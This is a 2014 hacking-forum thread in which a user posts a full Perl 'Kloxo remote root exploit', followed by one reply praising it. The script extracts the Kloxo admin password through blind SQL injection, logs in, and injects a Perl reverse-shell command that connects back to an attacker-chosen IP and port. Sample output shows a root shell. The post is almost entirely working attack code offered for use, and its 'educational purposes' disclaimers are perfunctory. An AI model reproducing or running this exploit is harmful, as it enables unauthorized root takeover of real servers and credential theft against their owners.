Hello There, Guest! Login Register
Logo
Dismiss this notice
MaDLeeTs is not responsible for any attacks that are carried out on networks, websites or servers.
MaDLeeTs staff members cannot be held responsible.
All information on this forum is for educational purposes only.


[Perl]Kloxo remote root exploit

  • 0 Vote(s) - 0 Average


04-30-2014, 08:45 PM #1
BlackB0x3r Offline Junior Member **
Registered
Posts:3 Threads:3 Joined:Apr 2014 Reputation: 0
Mood: None
Code:
#!/usr/bin/perl
#
# Title: Kloxo remote root exploit              
# Author: Simo Ben youssef
# Contact: Simo_at_Morxploit_com

# Requires LWP::UserAgent
# apt-get install libwww-perl
# yum install libwww-perl
# perl -MCPAN -e 'install Bundle::LWP'
# For SSL support:
# apt-get install liblwp-protocol-https-perl
# yum install perl-Crypt-SSLeay
#
# Tested on CentOS 5.8 and 5.9
# Should work on CentOS/RHEL 5.x
#
# Author disclaimer:
# The information contained in this entire document is for educational, demonstration and testing purposes only.
# Author cannot be held responsible for any malicious use. Use at your own risk.
#
# perl morxkloxo.pl http://******.com:7778 **.**.**.** 31337
#
# ===================================================
# --- Kloxo remote root exploit
# --- By: Simo Ben youssef <simo_at_morxploit_com>
# --- MorXploit Research www.MorXploit.com
# ===================================================
# [*] MorXploiting http://******.com:7778
# [*] It might take a little while, so sit your ass down and relax
# [+] Base64 pwd: bW9yeHBsb2l0
# [+] Got admin password: morxploit
# [*] Logging in ...
# [+] Successfully logged in!
# [*] Trying to get server info
# [+] Done!
# [*] Trying to inject connect back shell
# [+] Looks good, now waiting for root shell
# [+] Et voila you are in!
#
# Linux ******.com 2.6.18-308.8.2.el5.028stab101.1PAE #1 SMP Sun Jun 24 21:40:20 MSD 2012 i686 i686 i386 GNU/Linux
# uid=0(root) gid=0(root)

use LWP::UserAgent;
use IO::Socket;
use strict;
use MIME::Base64;

sub banner {
system('clear');
print "===================================================\n";
print "--- Kloxo remote root exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "===================================================\n";
}

if (!defined ($ARGV[0] && $ARGV[1] && $ARGV[2])) {
banner();
print "perl $0 <target> <connectbackIP> <connectbackport> <verbose>\n";
print "perl $0 http://localhost:7778 127.0.0.1 31337\n";
exit;
}

my $host = $ARGV[0];
my $cbhost = $ARGV[1];
my $cbport = $ARGV[2];
my $v = $ARGV[3];
my $pos = "8";
my $start = "48";
my $ends = "122";
my $password;
my $char;
my $cookie;
my $decoded;
my $class;
my $lhost;
$| = 1;
$SIG{CHLD} = 'IGNORE';

my $l_sock = IO::Socket::INET->new(
Proto => "tcp",
LocalPort => "$cbport",
Listen => 1,
LocalAddr => "0.0.0.0",
Reuse => 1,
) or die "[-] Could not listen on $cbport: $!\n";

my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$ua->timeout(10);

my $up = $ua->get("$host");
unless ($up->is_success) {
print "[-] Error: " . $up->status_line . "\n";
exit;
}
banner();
print "[*] Verbose mode on!\n" if (defined $v);
print "[*] MorXploiting $host\n";
print "[*] It might take a little while, so sit your ass down and relax\n";
my $check = "lbin/webcommand.php";
my $kloxo = $ua->get("$host/$check");

unless ($kloxo->decoded_content =~ /__error_only_clients_and_auxiliary_allowed_to_login/) {
print "[-] Doesn't seem like $host is running kloxo\n";
exit;
}

while ($pos) {
for(my $count=$start;$count<=$ends;$count++) {

if (($count > 57) && ($count < 61) || ($count > 90) && ($count < 97)) {
next;
}
my $query = "lbin/webcommand.php?login-class=client&login-name=a%27%20union%20select%20%27%241%24Tw5.g72.%24/0X4oceEHjGOgJB/fqRww/%27%20from%20client%20where%20ascii%28substring%28%28%20select%20realpass%20from%20client%20limit%201%29%2c$pos%2c1%29%29%3d$count%23&login-password=123456";
my $page = $ua->get("$host/$query");
print "\r[*] Trying char/position: $count/$pos" if (defined $v);
if (($page->is_success) && ($page->decoded_content =~ /^\s*$/)) {
$char = chr($count);
$password .= $char;
print "\n" if (defined $v);
print "\r[+] Base64 pwd: $password";
sleep (2) if (defined $v);
last;
}
}
my $passlength = length($password);
my $charlength = ($pos - 7);
if (($passlength < $charlength) && ($passlength != 0)) {
$decoded = decode_base64($password);
print "\n[+] Got admin password: $decoded\n";
last;
}
elsif ($passlength == 0) {
print "\n[-] Failed, probably not vulnerable\n";
exit;
}
$pos++
}

print "[*] Logging in ...\n";
my $kloxo = $ua->post("$host/htmllib/phplib/",[ "frm_clientname"=> "admin", "frm_password"=> "$decoded", "login" => "Login" ] );

if ($kloxo->as_string =~ /Set-Cookie: kloxo-session-id=(.*?);/) {
print "[+] Successfully logged in!\n";
$cookie = $1;
}
else {
print "[-] Couldn't log in\n";
exit;
}

print "[*] Trying to get server info\n";
my $getinfo = $ua->get("$host/display.php?frm_action=show", 'Cookie' => "kloxo-clientname=admin; kloxo-classname=client; kloxo-session-id=$cookie");
if ($getinfo->decoded_content =~ /commandcenter">(.*?)">/s) {
my $pserver = $1;
$pserver =~ /value =\"(.*)/;
$class = $1;
}
else {
print "[-] Couldn't get info, trying default settings\n";
$class = "pserver";
}
if ($getinfo->decoded_content =~ /name="frm_o_o\[0\]\[class\]" value ="$class">(.*?)">/s) {
my $nname = $1;
$nname =~ /value =\"(.*)/;
$lhost = $1;
}
else {
print "[-] Couldn't get info, trying default settings\n";
$lhost = "localhost";
}
print "[+] Done!\n";

my $ua2 = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$ua2->timeout(10);
print "[*] Trying to inject connect back shell\n";
my $inject = $ua2->post("$host/display.php",
Content_Type => 'form-data',
Cookie => "kloxo-clientname=admin; kloxo-classname=client; kloxo-session-id=$cookie",
Content => [
'frm_o_o[0][class]' => "$class",
'frm_o_o[0][nname]' => "$lhost",
'frm_pserver_c_ccenter_command' => "perl -MIO -e '\$p=fork;exit,if(\$p); use Socket; use FileHandle; my \$system = \"/bin/sh\"; my \$host = \"$cbhost\"; my \$port = \"$cbport\";socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\")); connect(SOCKET, sockaddr_in(\$port, inet_aton(\$host))); SOCKET->autoflush(); open(STDIN, \">&SOCKET\"); open(STDOUT,\">&SOCKET\"); open(STDERR,\">&SOCKET\"); print \"[+] Et voila you are in!\\n\\n\"; system(\"uname -a;id\"); system(\$system);'",
'frm_action' => 'updateform',
'frm_subaction' => 'commandcenter',
'frm_change' => 'Execute',
],
);
unless ($inject->as_string =~ /200 OK/) {
print "[-] Something went wrong\n";
exit;
}

print "[+] Looks good, now waiting for root shell\n";

my $a_sock = $l_sock->accept();
$l_sock->shutdown(SHUT_RDWR);
copy_data_bidi($a_sock);

sub copy_data_bidi {
my ($socket) = @_;
my $child_pid = fork();
if (! $child_pid) {
close(STDIN);
copy_data_mono($socket, *STDOUT);
$socket->shutdown(SHUT_RD);
exit();
} else {
close(STDOUT);
copy_data_mono(*STDIN, $socket);
$socket->shutdown(SHUT_WR);
kill("TERM", $child_pid);
}
}
sub copy_data_mono {
my ($src, $dst) = @_;
my $buf;
while (my $read_len = sysread($src, $buf, 4096)) {
my $write_len = $read_len;
while ($write_len) {
my $written_len = syswrite($dst, $buf);
return unless $written_len;
$write_len -= $written_len;
}
}
}

05-03-2014, 05:20 AM #2
X-SYSTEM Offline Member ***
Registered
Posts:54 Threads:7 Joined:Feb 2014 Reputation: 2
Mood: Bahahaha
That is good Keep it up

JUST 1 min here bro Heart

Facebook : X-system






Forum Jump:


Users browsing this thread:1 Guest(s)